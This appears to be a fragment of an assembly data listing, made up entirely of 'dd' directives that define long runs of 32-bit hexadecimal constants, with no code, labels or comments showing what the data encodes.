dd 0CB2F0157h, 39D07CD3h, 13601CFEh, 504CC3DEh, 0A3A1F5E0h
dd 0A0BCCB54h, 1A000220h, 0CD98A8C5h, 0E8A9D6E8h, 1ED30055h
dd 842596DBh, 220013A2h, 0BEFBA73h, 2DF7221h, 56981141h
dd 0F0C8CC77h, 0E7001954h, 0B4034FD6h, 37E121Ah, 68B8F4B6h
dd 0E2C88F81h, 4709F1E0h, 0C85F4507h, 26028Ch, 0F478A8BFh
dd 7A6236E8h, 0C97EA5B8h, 44AD3701h, 0BDEFE6D3h, 51FCC5CDh
dd 99F4000Dh, 0A13B4C6Bh, 0C40013ACh, 205D343Fh, 14CF4Bh
dd 8B432886h, 8E499359h, 3DBF3Ch, 0BE37C84Fh, 0F145F3h
dd 0EE692E06h, 36F08034h, 4CEB2F0Ah, 0AB40D87Eh, 0F4D185A7h
dd 54E007D8h, 46E555D4h, 9900B9C7h, 5B73818Fh, 68EFF7h
dd 0D5E9E6C9h, 0A66E03ACh, 3C758h, 95AB64E3h, 2D9AD0h
dd 0E1DBC69Ch, 0E9DF8CCAh, 8A00CBE8h, 85DE4392h, 0EE7A9C54h
dd 0E4FCD039h, 0D16DCA06h, 87001113h, 33D664DCh, 35B77E3h
dd 3DC15DDDh, 3148126Eh, 14541FD1h, 0FA6A7883h, 2358011Dh
dd 821652D8h, 0B8CD03CAh, 3A2B85Fh, 6B57D0F6h, 44A2F501h
dd 0E8A75C68h, 317F7C00h, 3814176Ch, 4983F3D8h, 1E7E6ABDh
dd 8A805803h, 0D897A077h, 0E7F90Fh, 95D8EC62h, 3D1C030Ch
dd 17DAA900h, 2B57296Ch, 0AC6900D3h, 0E2AACD5Eh, 0ED00079Bh
dd 6861F71Bh, 41FA99h, 0A4DE1F33h, 8E852263h, 747B6700h
dd 0E29F6F2Fh, 875C00D2h, 32909D64h, 80057A3h, 287B8435h
dd 0FCECC10h, 4816B195h, 0E0B33187h, 512E8C9Ch, 4F394E03h
dd 885B127Fh, 1E72CFh, 94BF8876h, 7C475D9Eh, 0FC281A60h
dd 1DC43EAEh, 872873F4h, 0B34B2E6Eh, 60B1D539h, 65D8FFEDh
dd 462CC256h, 803DE7E6h, 53872AF6h, 6071E74Fh, 5CEB4850h
dd 6100440Ch, 6B3DF490h, 7DCEAD0h, 311F4569h, 0F199E0CCh
dd 6005546h, 216722E6h, 134C204h, 1872454h, 70CC8C9Fh
dd 0B1E499B6h, 5F6A4509h, 40038FABh, 5842798h, 50813093h
dd 581DC419h, 55613C02h, 80FC49C6h, 1BA06F80h, 0D09B0048h
dd 1A2FBD18h, 0EB7F71CDh, 2C5C4303h, 908188A7h, 73C387C1h
dd 0D5A90F18h, 0AF0025E8h, 546B4830h, 0C53DA400h, 0BF8349E0h
dd 6A790052h, 8E33A3DDh, 5300DC60h, 0E00EE9DBh, 0E32AB7h
dd 1286AC70h, 0C8404859h, 0F667EF2Dh, 8A4B00FBh, 0C75DD147h
dd 0E8D0C500h, 3696CE38h, 0B4540FD6h, 0B803B26Dh, 0E9A813F5h
dd 0E018DCC6h, 0BF085157h, 3520D45Eh, 1693130Bh, 4BB0EB81h
dd 0B6806E66h, 687CA6Ch, 355398F1h, 0D80E51E0h, 9F9A8234h
dd 8F3B6A80h, 1C081D4Bh, 1E0E8945h, 8EA20095h, 0CDBD669Bh
dd 38039678h, 5E73E8C5h, 0C2A000C6h, 0B33598F6h, 0B200EDC7h
dd 4479D8FEh, 307707Bh, 0BCD521A0h, 1C805DDEh, 0A500B706h
dd 5E6A9FFh, 3EE28Dh, 0C2D2B46Eh, 508E7B98h, 45BA3C00h
dd 9D822F88h, 20A800E9h, 6E55A3C9h, 9A03075Dh, 3BCDD9D5h
dd 397ED8EFh, 25DD00D7h, 2D68E22Fh, 0D91E5F5Eh, 4141AB69h
dd 4ED4AC28h, 4742092h, 0C18FCCBBh, 704F105Eh, 4400A2C5h
dd 0CA87E45Ah, 7A67E42h, 4A348A49h, 0E078FD15h, 4000BF04h
dd 803F84A0h, 0F6252688h, 6D0D3099h, 388F24A9h, 0C0EA2800h
dd 0D2AFC57Bh, 0D808CC7Ah, 2D00EF21h, 0C367582Ch, 0F9BE63h
dd 3D36A6AAh, 0DCAB9D81h, 99E22E01h, 0BF052165h, 3485C6E0h
dd 2E41503Fh, 81311038h, 0D1939FC0h, 0F6000C5Fh, 75226CFBh
dd 3F8757C2h, 42031930h, 1A81922Fh, 98445900h, 6B075F16h
dd 0A4E5199Fh, 9E41086Ah, 15C06489h, 53CBD5FFh, 0D590002h
dd 99D3F654h, 1302931Ah, 86505FD2h, 59D0813Ch, 9708D8C7h
dd 5F5B2704h, 313165F1h, 96690014h, 98C10727h, 302AF1E5h
dd 0B5683C44h, 5424A301h, 691ED90Eh, 1B78E0h, 0DA9687C8h
dd 8859558Bh, 51947300h, 0C5ABB2D2h, 1C8A0748h, 0E3C091C7h
dd 5BE3A86Eh, 761F9DB0h, 0F3EA3E01h, 842A07D7h, 0FA3DE2D0h
dd 0A0C100F5h, 25EBFAA9h, 8C178F9Bh, 88014BE4h, 0C4EF32AEh
dd 0F03534F4h, 2A5C002Bh, 0DF53094h, 0C0768B4h, 0F3DF3CD6h
dd 0CCDBC980h, 0D34C006Eh, 0C133B1A5h, 8100658Fh, 27FD123Bh
dd 9280F3h, 6F36DC79h, 0B267FA2h, 83B3EA00h, 0A1198182h
dd 7EF75C59h, 18FCE81Bh, 603C29D0h, 0EBC90E00h, 301A6341h
dd 0E59001EAh, 5A4E176Bh, 0DC763140h, 0B66022ADh, 26F07250h
dd 0D2C80085h, 0B74840B5h, 4C077517h, 0E70B10AAh, 0EAFCD141h
dd 31D11D8h, 470C3738h, 8185222h, 0A720C373h, 5C720F29h
dd 0BDE0F65Bh, 0D70DC79Dh, 9852AC00h, 1857CA78h, 9EFA0C06h
dd 0FB60FC54h, 3FE60421h, 37A02F8Eh, 23463364h, 0C0213A5Dh
dd 0F14C2C81h, 7043FA36h, 0EE01539Ch, 5B57E202h, 2880BA83h
dd 45547A0Ah, 323CAC0Eh, 8FD800FBh, 0A7A48B07h, 3AD398A1h
dd 5018A0EDh, 0C54330D0h, 69F90700h, 73F1EFF5h, 835200C0h
dd 16855DA7h, 8903BF8Bh, 3575907Ch, 0DC68007Dh, 698E668Ah
dd 21264C11h, 1E064480h, 207BCCh, 6261B446h, 0C2A6A5AAh
dd 0C8508400h, 70673460h, 0BFE4002Ah, 0FB5E5490h, 6531B0Fh
dd 30F6A288h, 130091EDh, 0BED82E74h, 30CBFAEh, 0C224B3F7h
dd 0F0F755ADh, 835A3960h, 1AB8D31Ch, 66A6C781h, 0DBD414AFh
dd 4D6D00BBh, 0D7FDD4Eh, 0FB00D42Ch, 0E0F55DD8h, 0B8749AA0h
dd 696D00C8h, 8ABB30Eh, 6400AE13h, 0E25759EDh, 0D6F938h
dd 0AADE81C9h, 0E0E7FD9Ah, 0B6A0A51Ch, 0E5A45740h, 96B822h
dd 0DBD4FEACh, 614C0BE4h, 0AD1080F5h, 0F54D1F0Fh, 9E980096h
dd 6DD5A0E2h, 0A6090C80h, 8EB12B8Dh, 0BF0F575Bh, 0A0E7073Ah
dd 4244C920h, 0CF510049h
dd 0B6DB52FFh, 0AC01E43Fh, 0D9B9B2B7h, 5EE05685h, 0ADEA1FEDh
dd 94C80F9h, 430C3058h, 14EE75E8h, 0D3279100h, 0E5A6EC66h
dd 1C633F65h, 1620C74h, 0E1908F64h, 3600397Ch, 0EEB97352h
dd 1849ECD8h, 98301C44h, 0A97D85BBh, 0F4997506h, 0D8897Eh
dd 26BA2731h, 87D25F8Ah, 76F0CD60h, 3C8CC19h, 10F885D8h
dd 83E0CF1Dh, 0A2028C89h, 24534057h, 7D2C822Dh, 155222C0h
dd 0EB08F211h, 0B008C642h, 9C34947Bh, 0CAC82C00h, 7A54BA4Ah
dd 3DAD4478h, 21516420h, 0D2041226h, 4F049F07h, 2D4820C5h
dd 0F8833817h, 98D044FEh, 4CB18765h, 0F9612C45h, 9AF49C02h
dd 0F2CA2D6h, 0B7330289h, 67F7AC10h, 0DA0CB067h, 1431382Ch
dd 0D440B1h, 54136457h, 3EC6AC65h, 73843Fh, 6B8B3645h
dd 0A577DC0Eh, 6225BA1Dh, 0E61280F0h, 0B2B50032h, 8A225FA1h
dd 2E106A78h, 4A1FE22Ch, 0A9824347h, 0C81D86DFh, 7809543Dh
dd 95E1003Bh, 0FD497Eh, 195F1810h, 0AF213230h, 0BD1E8212h
dd 58380402h, 0ACCE4116h, 0C3EFD8h, 3FA87757h, 6B8A7554h
dd 831CA339h, 2AC07EBh, 4B980E06h, 194A68BDh, 8DD400D0h
dd 0A8360A2Fh, 0A386E806h, 5008A945h, 0D488B1h, 9C05FA9Fh
dd 4706E727h, 0A10E1D00h, 0D0CB898Fh, 0F3D705B9h, 2216C6h
dd 0D4F0E5DCh, 0C13F19FEh, 405C01AAh, 215AD039h, 0A8D52094h
dd 19CAFE02h, 604B1241h, 7E9834C0h, 70387401h, 9FB03189h
dd 0C575A1E7h, 1C22209Fh, 0B413C17Eh, 2037EAEEh, 0CA0228B0h
dd 1A2442A8h, 0E2B4807Ah, 48B97976h, 0A45070CEh, 9ADE1886h
dd 25BBF89Eh, 3C920E24h, 0A746E21Fh, 3E2042Eh, 3564EF66h
dd 0C0A4038Bh, 11555CB6h, 0B9B18400h, 0A9FD213Fh, 7C70E7BBh
dd 0B2020019h, 0FDDD559h, 67003C64h, 32863D46h, 0B6F103h
dd 0F398B530h, 5165A038h, 1F009B7Eh, 0A4BDCEB7h, 113D1FFh
dd 61FB6E11h, 0C063575Dh, 0D8030860h, 748885D5h, 70183BC0h
dd 0B0719780h, 25618BA2h, 0C375CE00h, 0BA400582h, 0F01CE864h
dd 0D3D700A4h, 0C2930295h, 0AC1E81F4h, 0BB06F16Ah, 1A10E088h
dd 28779B1Dh, 934EC580h, 0AB009738h, 4BC48B02h, 106D80Dh
dd 0DEE2E5F8h, 8F1AE459h, 18D208h, 6E1F2968h, 0F3FA00F2h
dd 46C14EA3h, 0EE3F3EA7h, 0CA6F0040h, 0F93BB696h, 0C76C02FCh
dd 9D64AC5Bh, 8A5405E0h, 1F3E4500h, 1804A78Bh, 363C00AAh
dd 0FAF9CB6Eh, 0D2002140h, 0D34B78A1h, 7E36D2Ah, 0E1653889h
dd 0E500CEC3h, 7F7DF0Ch, 82BDFD02h, 0DD3D7A5Bh, 99E75000h
dd 0E600D6EBh, 244107A6h, 0F62DB814h, 8EDA302Eh, 946F9848h
dd 0B95EEB1Ch, 0FEC3CFC0h, 1385DBh, 0CA892951h, 7BEFACBAh
dd 91D8970Dh, 152081E0h, 0C29406AAh, 0E03312BCh, 0DAD7A506h
dd 1897402h, 0D552A6FBh, 7014B5C9h, 58007B33h, 0A82666DEh
dd 50FDA1h, 722A1A4Bh, 579FE840h, 0CBD31600h, 4209C5D7h
dd 0DA8D00EEh, 52BE7E6Eh, 0DEE4CC48h, 20B05Ch, 6A77A971h
dd 7A386537h, 353B00D6h, 7FF18004h, 5E03F55Bh, 1A872D05h
dd 2F27E01Bh, 24EFA0Ch, 14348A9Fh, 8C7F07E3h, 0B047B1D1h
dd 0ECB600A5h, 312E889Dh, 1792089h, 8BD32C00h, 0DA39C248h
dd 97CF0576h, 846DA694h, 0E4D8010Ah, 0EC28AB20h, 2A01BB37h
dd 1A53ADB4h, 7EF18592h, 90EFB0F9h, 0E5D86Dh, 7DD1E354h
dd 875971D3h, 0EA8BE801h, 86C2149Eh, 3B7ACCh, 0A4334F8Ch
dd 78F71FADh, 1F8840Fh, 7D0776A9h, 0D8B0E460h, 0DCAF8Bh
dd 51E2FB13h, 8E5D17BBh, 0A035E000h, 86308977h, 98ECF175h
dd 239F0038h, 0FDD0DD2Ch, 3E00A6E4h, 7F3C5E77h, 0ED181Ah
dd 48658C4Bh, 5942C125h, 0C6CCF600h, 5BBAA822h, 717FD0h
dd 6FB590E0h, 7FFE32D5h, 0D8C2580Fh, 28FA4424h, 4E056EC0h
dd 0F9AC003Ch, 649E2A47h, 0C53A8F1Ch, 0A3B02449h, 4CFB1D00h
dd 3C8EC7EAh, 0F381A055h, 0AA733F9Ch, 5586A688h, 0CE116100h
dd 7145380h, 156BC076h, 72339051h, 9050508h, 0AB795D3Bh
dd 43009DC5h, 7D91373Ch, 57DC0041h, 0B32B8CB5h, 22071D36h
dd 0CFDD1577h, 74D5295Ch, 6C8C8208h, 21443929h, 0E96B0974h
dd 20C373Dh, 3420B451h, 2425222Ch, 0E4293718h, 8B21CD28h
dd 5111BAD3h, 14082381h, 0E11F664Ch, 91083F10h, 8D042AC4h
dd 1B0278D6h, 6505DEC0h, 75BD6400h, 5036A8C1h, 447314E9h
dd 40FC99D3h, 0C6FE4580h, 299A5579h, 0E813BC10h, 78391D18h
dd 4C00CD89h, 0D99D91D3h, 712DA664h, 6F2600C3h, 34EE08BDh
dd 710025B7h, 0ED8043C9h, 0CDBA3Eh, 0F6FA8C5Eh, 0C7783513h
dd 8DE24B00h, 0CC080F36h, 0F214006Eh, 0F145BCE4h, 0B6000D8Bh
dd 50066FA4h, 64A8ACh, 0E831DE66h, 99DD1C23h, 0C50059EAh
dd 271A43E6h, 0FC5B8D5Ch, 15CD0005h, 8A0A06DAh, 0F9030916h
dd 1C996B4Eh, 4D01E137h, 305BDDC0h, 67A0CBE6h, 0E203FAF4h
dd 94903ABEh, 0C6B7B081h, 0A7C83A56h, 4F7D9Eh, 1837AFDh
dd 0E600EE1Bh, 9361BB23h, 55B5E0h, 0BCDC3617h, 2F9B3043h
dd 5EA4CE61h, 62F8DE01h, 0C3B10009h, 3038A821h, 2F00F2B4h
dd 7BC17A87h, 556395h, 0DB0A086Ah, 0D684DDC9h, 0DC47EA02h
dd 606F40ACh, 3A9F7300h, 0D09C94C4h, 0D9A04063h, 3CD60150h
dd 15297400h, 2D70DC2Bh, 0BE7883h, 0E93AA957h, 0DA216706h
dd 0CA7D2200h, 0DB1AF46Dh, 0F21639D8h, 0FEAB8000h, 73E577EDh
dd 2CEB0C00h, 0A5403BBDh, 3D41D9Ah, 765200ABh, 34832A7Fh
dd 31B62E00h, 0BE022FDAh, 8BFB0F7Dh, 2A00DBDDh, 551BD9D2h
dd 410F0870h, 9FFAC204h, 5A7C6B40h, 1D6EB7h, 12761586h
dd 94CE4B18h, 3F40F600h, 72EF9335h, 0EB8000C0h, 5E338523h
dd 51E6B7BFh, 0F8665600h, 0A6289FCCh, 4CD50064h, 4AEA1305h
dd 0B51EF9ECh, 5B4091EFh, 6014B881h, 0A6BE1D9Dh, 0E5B300F7h
dd 0C28E382Ah, 24A32700h, 264278DBh, 0C85E0025h, 2A6DFFFAh
dd 0DA00C0EFh, 0BC0489CDh, 0EED4D92Dh, 0DB0F00AEh, 0CB352AD2h
dd 0C5008502h, 0BCE830FFh, 9EDACAh, 0ABA27BEAh, 0A32CA5C6h
dd 98501802h, 0E074172Bh, 64A96Ah, 0CCB5CA6Bh, 0EE3F0B24h
dd 601E5D07h, 8A601A88h, 0BC67A9Fh, 76B3D8D2h, 8F6F5200h
dd 0FF00E696h, 0BCF2D02Ah, 48A6A1D9h, 3A0C1C10h, 0C110DD55h
dd 0DC79DC24h, 529D5103h, 0E6061F25h, 0DA418093h, 6E7AD5F7h
dd 0D3002090h, 0E318899Fh, 39BF9FAh, 6D7B28FBh, 0BAD364A2h
dd 81E1FCA8h, 1C27F300h, 59F11801h, 0FAD5F0F4h, 0B566009Ch
dd 39898C1Eh, 22EE79D9h, 2DE86200h, 4B618030h, 0F71F0A1h
dd 0EB50F97Ah, 64992883h, 0B011C380h, 2B207700h, 1E8930C8h
dd 252D0AF3h, 810CFD4Ch, 94D1C017h, 0C173EC50h, 0FAD9F700h
dd 3A3481CBh, 60B4002Bh, 31C0F171h, 0C8F89086h, 0FD512F00h
dd 7D31EE1h, 0D4D00B3h, 0A02212F1h, 6D12D5ACh, 49004C47h
dd 0ADCEDB65h, 2A1D0370h, 0ACC12628h, 0AA007ED3h, 0EBAA3B1h
dd 608292h, 0FB0754A7h, 0EA8F6EBDh, 8091CB39h, 0C49A9B17h
dd 57CF93h, 0BA18854Eh, 0BE147BDBh, 7D9F48h, 73132EEh
dd 0C3CC9h, 0C8FD3644h, 0AF82B85Fh, 171A458h, 66741076h
dd 0B9E8F037h, 7E845808h, 69002C48h, 0F339BA3Ah, 2F00FDB1h
dd 7F400E5Bh, 0B0DA43h, 0A830C652h, 0B2C0F5B7h, 0D4B17300h
dd 0EF170A09h, 0ADE83A81h, 3C6D9Ch, 6C4FDB6Fh, 0A507F172h
dd 823ED9CCh, 0B61039D7h, 0F0A1Bh, 0AB1F574Ch, 3D29D4E5h
dd 9FA97007h, 0D9B0334Bh
dd 14D93B4h, 9290A8A3h, 60568AB1h, 0E30022A0h, 96598C02h
dd 0E625047h, 0C2F62967h, 0B483023h, 0DD903C8h, 1F984A00h
dd 0C7AA83EEh, 952B0037h, 0DA82A10Fh, 8900B8D7h, 90D5E1B5h
dd 0B08F29h, 0CB0D6042h, 0D6CF2122h, 7739C802h, 872969BCh
dd 6AB02EE0h, 13FCA0B7h, 720BAh, 0BF8FB686h, 670130F1h
dd 43C2CCDAh, 0C1CC9BB0h, 0DF3800A7h, 37D2F0A1h, 6E00A393h
dd 0E541FF0Dh, 0F6D50623h, 1E14057Dh, 8057B8A0h, 1A60673Ch
dd 0D7DFAA00h, 0A05BB68h, 24B31E2Eh, 0FF8CC066h, 153952C5h
dd 794EBE00h, 3646D1A2h, 1A3A046Fh, 80EEA70Ch, 0ED28728Ch
dd 0FD0301F4h, 0F215044Eh, 0EE61E0E9h, 5E1B1F96h, 0A103009Ah
dd 66621193h, 0D9845C00h, 0D7B34BB2h, 0BD770291h, 4A80651Ah
dd 45211EE0h, 80F5E238h, 3F60F1EBh, 0FA9A8ABh, 0FD48104Bh
dd 91FE1522h, 30A2F841h, 53FD620h, 0A99B8071h, 15113107h
dd 0D7893BC0h, 0CC69F00h, 0A7C22FB2h, 6F1A7B00h, 0AE583399h
dd 0B76D0034h, 0BF526484h, 0AD05FE08h, 9CF4A641h, 25CBBB80h
dd 67A28A1h, 7B2F2CCCh, 6238407Ch, 1300A32Dh, 68775F14h
dd 16AA3A63h, 1078D155h, 0C400B82Eh, 0BE12AC23h, 0F9006407h
dd 0AB7AD42Ah, 3CEEF0FDh, 0F3002F48h, 144AB6A1h, 0BB00CC6Eh
dd 8DB53C1Dh, 0F684CEBCh, 635C0001h, 95DA3215h, 2FEACF2Dh
dd 621FD1F0h, 48CD9D0h, 3478A065h, 0C07AF43Ah, 3486BDA1h
dd 2FCD6C00h, 0C7B09B73h, 0C3470021h, 57E18E5h, 8E014F8Ah
dd 88B4B885h, 44DCDF97h, 96ED00CEh, 6C182152h, 0F898A6EEh
dd 978059h, 10443C4Fh, 11C5C9h, 167E0751h, 6D5E329Fh, 62BC4A00h
dd 6C5085B0h, 77C53905h, 452E3580h, 0FB19D22Bh, 0CE00C498h
dd 6CB48A33h, 657EB0h, 7426C8FFh, 423ECF30h, 84BC5F0Bh
dd 0F612007Ah, 3C5EE1B4h, 0F7EBB45h, 0B5012F5Dh, 36C78100h
dd 0D00450F5h, 0B13FF7B9h, 5B244FC0h, 0A1B0C8h, 0AD1D5C4Dh
dd 4A11ED25h, 0BDE31907h, 0B4A3A19Bh, 1F3FD859h, 178F0089h
dd 34047193h, 48006C33h, 4BD6B844h, 0B2946D6Eh, 79820028h
dd 9078428h, 0C802597Eh, 379866CEh, 218CE0E8h, 0D1D0009Bh
dd 0C5AD940Dh, 0CD029D42h, 1FF6C627h, 821C68C4h, 722800E5h
dd 77E86C64h, 2900EFC7h, 0EAE4B8DAh, 1F62C343h, 0C07E88F4h
dd 676CB224h, 7700D502h, 11CAC638h, 0F485B6h, 0B59CE441h
dd 0CB5AE23Fh, 18ECFC00h, 32BF7733h, 8B1B0F10h, 7A40FAB2h
dd 8C606A7Eh, 4A6EC800h, 0B1F777Bh, 50AC0096h, 751707D4h
dd 0FA003B26h, 36D2D372h, 0F515CDh, 0C4FEAA01h, 0F6E1697Dh
dd 94178B03h, 0B452F48Eh, 439D2180h, 0F4BE4C7Ah, 0F2CD7BC0h
dd 0B4EA13FAh, 511E91FCh, 2D40B330h, 3C658E22h, 1D63FCA6h
dd 0F039C5h, 0D359D440h, 0B700D843h, 8A0A6071h, 1EE785A8h
dd 0C1B376C1h, 1936285Fh, 0F1C5FC4Eh, 869D2D02h, 41417DBDh
dd 1CCE850h, 9A5C1349h, 0A0B02B5h, 38434A5Eh, 6E0694D0h
dd 0BC29FA28h, 4914AE00h, 81661BFh, 832B3B1Bh, 65F14700h
dd 0ED5E4321h, 9311F500h, 63AB9868h, 0B787011Ch, 0D823B966h
dd 0CC7BE49Ah, 4D53D01h, 4EE7A6E4h, 3D0666ECh, 0B9FF160h
dd 0F6AC4941h, 0F4760C00h, 0E7009FC9h, 4C819285h, 6E5221h
dd 460848F7h, 941236Fh, 0CDAB121Eh, 504AE100h, 0FEDF2899h
dd 0A26B00AEh, 12922B97h, 2E004E81h, 14B1F506h, 4DFA45E6h
dd 8703E81Ah, 0C7EE378Ah, 784A95B0h, 0C948CB00h, 1C02B734h
dd 52F010h, 94431FD7h, 0F4B08D64h, 2230750Fh, 0D7882A3Ch
dd 0EAC93700h, 1936C1Eh, 0C8620E2Fh, 0C0FEF715h, 0C5E4D18Bh
dd 37B6D309h, 6BD60068h, 395760E1h, 0F060AEF4h, 2BB77FC5h
dd 0B007BFAh, 999ABDD5h, 0BAC92Ch, 48A00EB8h, 54FB1E72h
dd 0A653D0A0h, 0DF6F3F04h, 9CC03C2Ah, 8D0C1Bh, 56864F1Fh
dd 8255B74Eh, 23003276h, 5A836D4Ah, 324E27Eh, 846746E4h
dd 110063A1h, 0AB4B5D8Dh, 73310Dh, 1C9287E6h, 0C10C0BCDh
dd 0B4B9EF00h, 0B3AC0A14h, 1D53001Eh, 7D35BBF5h, 5A783158h
dd 263FD10Bh, 80300984h, 0BE1E9ACFh, 7F2B01B8h, 66F141B9h
dd 0C40AE04Eh, 0E1238000h, 64CE6E87h, 0A18101B7h, 0C0D68803h
dd 0C5EDD491h, 0A9E94Ch, 7332286Ch, 3CD51C4Ch, 3B808A31h
dd 0E94EF67h, 42077DA7h, 0D4ACD05h, 83938610h, 8BC500F7h
dd 322413CCh, 0BB006003h, 0D1AB6AA4h, 1FB73797h, 71618h
dd 336C40BDh, 357CDB2Ch, 5E9E3418h, 4C35310h, 0CBFCCF6Eh
dd 0EC80801Fh, 40013A57h, 2B9EC1B5h, 56FD79D5h, 840BECh
dd 4E9380C3h, 2445B89Bh, 8A857101h, 1CFEEB14h, 95B3B0F3h
dd 0BD4700E6h, 0C4CB8B6Eh, 0F5389879h, 10948059h, 952FC07Eh
dd 250E00D3h, 0E429E860h, 1B007650h, 0FF87F021h, 90CF77ACh
dd 461401ECh, 0B5989CD5h, 0F94060FAh, 0E2BE8C00h, 673C8373h
dd 514A000Eh, 0C72BDFF2h, 20B8F6C2h, 17214200h, 0BB763F2Dh
dd 0CA360062h, 31046625h, 790F1E6Bh, 16B9F6h, 27C05388h
dd 0C44A5CF8h, 672A3900h, 28EA7CE9h, 0C7E2DC03h, 0E0C104F2h
dd 0A06F1C75h, 30E886h, 0CBDB6EADh, 0F1401D99h, 0FC44CC00h
dd 0F373F9B2h, 18150E32h, 91A0E9D0h, 265152EDh, 4D703Fh
dd 0EA669CB1h, 0D0474Ch, 9FB39486h, 0C5B7AC6Fh, 0AB9AC703h
dd 0C1A7CB3Eh, 70FC4998h, 9DF4004Ch, 15D87752h, 7C7678DCh
dd 9338C604h, 0BAC0A6A0h, 58D4EA10h, 57A2C9Ah, 0A09D5DBh
dd 879FC069h, 0E782A94h, 6AE7100h, 0DD3F1237h, 31740795h
dd 4FD234F0h, 0C81FDC40h, 9028A47h, 0E6E48448h, 43DAE0B8h
dd 12C63E5Fh, 458C3807h, 1B26A0EBh, 0E583120h, 0B1007AD7h
dd 7C98852Bh, 52DF70Dh, 0D26BD012h, 0B8D0C0AAh, 0F27C3FF5h
dd 16F09671h, 463C9400h, 647E2885h, 2CD8009Ch, 121839B8h
dd 5900204Dh, 8D6E5B58h, 24A3B408h, 44617Dh, 0D95425D0h
dd 36074211h, 0C4A63AA8h, 9C8229A0h, 3E2202DAh, 48F88EA3h
dd 2C7B96F0h, 4A881000h, 7E1E36FDh, 0ED450B02h, 9080215Ah
dd 50C55C7Ah, 8789A425h, 0FFA03C88h, 0EE6B78h, 7F1F1D4Dh
dd 0F6C44F46h, 69567200h, 99B5A3B3h, 0F0F800DAh, 0EA5504B8h
dd 233C65A5h, 7CB180C9h, 3AFDFA14h, 0ADEE0062h, 6A529A35h
dd 2000F74Ch, 474F436Dh, 3FBA79A4h, 0D300DBC8h, 91E995EDh
dd 0EE38ECB7h, 0B2B18094h, 0C2473207h, 0BBCD5073h, 0A26424F2h
dd 714B85D8h, 37CC80CCh, 0B4980C02h, 12E5625h, 4F1A0148h
dd 55C4460h, 550C4B69h, 1C85DCh, 4D84251Ch, 34B8ED9Eh
dd 0A88C970Fh, 0A50CC55Ah, 8BF963C0h, 3F4900A7h, 531741D4h
dd 9C0F31C2h, 20F69391h, 64F74E94h, 0D0C101DDh, 3BE70EFAh
dd 6F07C566h, 0D2723187h, 57986078h, 0AF330040h, 0E07064A8h
dd 732E8A49h, 14013D55h, 8291B416h, 564460E6h, 3487942h
dd 20E43B29h, 181C1E50h, 0EC80DE66h, 0D33510C2h, 9B0B00E2h
dd 0CC6FAFEEh, 9700A8BEh, 2EFA9630h, 1E17014h, 5198366Ch
dd 0ECC23720h, 2900DBB9h, 0FEDD664Eh, 247CD3E8h, 233CD89h
dd 0B4D4B60Bh, 0A7F4D4C0h, 80462510h, 586BEA07h, 0DD4062AEh
dd 0AA3D0560h, 7D0034F8h, 9FA7CC44h, 70983Ch, 0A437AB54h
dd 767257C1h, 0D022D707h, 8C803ABFh, 0F26F6Ch, 0B96108A0h
dd 32A14EAh, 0F84B5516h, 0E333F880h, 2E7A00D8h, 0D67DAEC7h
dd 3D0E512Ch, 8082375Fh, 7FD90106h, 0C0EA74h, 0C4EBE12Bh
dd 0B3FE496h
dd 574D3000h, 5FB62CD0h, 0C0E307DBh, 0D0674014h, 0F20B9B8h
dd 0A98BD800h, 2397FE62h, 9E1200ECh, 0C76F15ADh, 0CC0F275Fh
dd 2DD999h, 0E2E467A2h, 6DE90078h, 5C33A512h, 2000759Fh
dd 0F79B41C4h, 0B76039h, 3C9A7230h, 0ECDAA712h, 0C448A600h
dd 961A8A02h, 0B0BB001Dh, 0A350E66Ch, 0F0C996Dh, 10E75422h
dd 0BC70121h, 28DC60FCh, 0F5B7F4B2h, 0FFE14905h, 0C00415F1h
dd 6890A6D2h, 0FEDACA54h, 4310E4Ch, 0C3E16F41h, 30774EF3h
dd 2B1EE8E6h, 2D5639CFh, 90061D02h, 46546082h, 8476EF4h
dd 418510C0h, 0FD18B24Fh, 5210243Fh, 0D7CA1CDEh, 74DF805Fh
dd 7D2696F1h, 0F9DB4E07h, 0E090CBB9h, 5050F2E6h, 48ECB028h
dd 67009163h, 0E7E54994h, 567F1AA6h, 0DA686F05h, 2280E602h
dd 311CF88h, 70FF6526h, 39C8AC56h, 2AF8B1E8h, 18B4C97Dh
dd 7C277901h, 0DEEDB5FDh, 3FD9E0h, 0E335621Ch, 0A1CA7E0Eh
dd 31C93850h, 1F0BFB00h, 8C2DE8E7h, 0A4B0398Bh, 5C00400h
dd 54A13AC4h, 0AABE1D03h, 98D00630h, 0FC1F6C5Ch, 14BF0381h
dd 0FC19E178h, 0A2472888h, 51F03712h, 0B6CF00AEh, 55385C68h
dd 7C2A0500h, 74122402h, 0FA7E0252h, 0DE4791E3h, 80D6CC84h
dd 623B8C1Ch, 1889F48h, 0E89E89F0h, 0E7E4C833h, 0EB841CC3h
dd 95EA4785h, 0B96710F4h, 3500387Dh, 3CB14061h, 2290C76h
dd 0D764800Ah, 0FDC0E9BCh, 544D3B07h, 3EF9019Ch, 2C8C7FA9h
dd 58155FCh, 44D36E83h, 0CEC040F1h, 959C3ED9h, 45002FEEh
dd 9987BA10h, 777B01C8h, 0A5231794h, 0DB2C02CEh, 4C59469Dh
dd 0FEE16B80h, 203155h, 4AC5603Bh, 5FA10121h, 4DE3BA00h
dd 92F3F534h, 606E7EABh, 0CB87793Ah, 55074568h, 443BD710h
dd 82B4DE40h, 536330E6h, 9EF5688h, 252FA27h, 0C0172090h
dd 4F48A6h, 88B732D7h, 27DAF962h, 6565C00h, 78DF1130h
dd 1540C072h, 7F71C1A0h, 0C0094C73h, 80A74D36h, 1BBCE974h
dd 0FAFE56h, 42FF398Eh, 61ED2FF1h, 64747700h, 17466310h
dd 9F8500B6h, 0D3B55F1Dh, 180067B4h, 0EC574F96h, 0F6A7DA6Eh
dd 1FDB0094h, 0B0BE3139h, 0E3002A22h, 3B8269D2h, 1FCEF6C8h
dd 6D27C9h, 6F46159Bh, 40F91D74h, 0B2160481h, 8F00497Ah
dd 515E1AD8h, 3B9232Ch, 0B33F73C4h, 11B840C0h, 153D2DEDh
dd 0A66F804Fh, 0CD6BC48Dh, 5C1B7CA0h, 3A0052BDh, 597BD7ECh
dd 600DC91h, 0C3B75DAFh, 0AA16B6h, 1B4E4D77h, 323D5884h
dd 4A259900h, 0A875D26Dh, 4CC248B9h, 0C6006238h, 0D53007F8h
dd 993F91C0h, 0C8AC001Eh, 0BF63C343h, 1AD000B5h, 0FD5B665Ch
dd 11009B18h, 90AD985h, 5CC3071Bh, 0A302C716h, 0D842775Eh
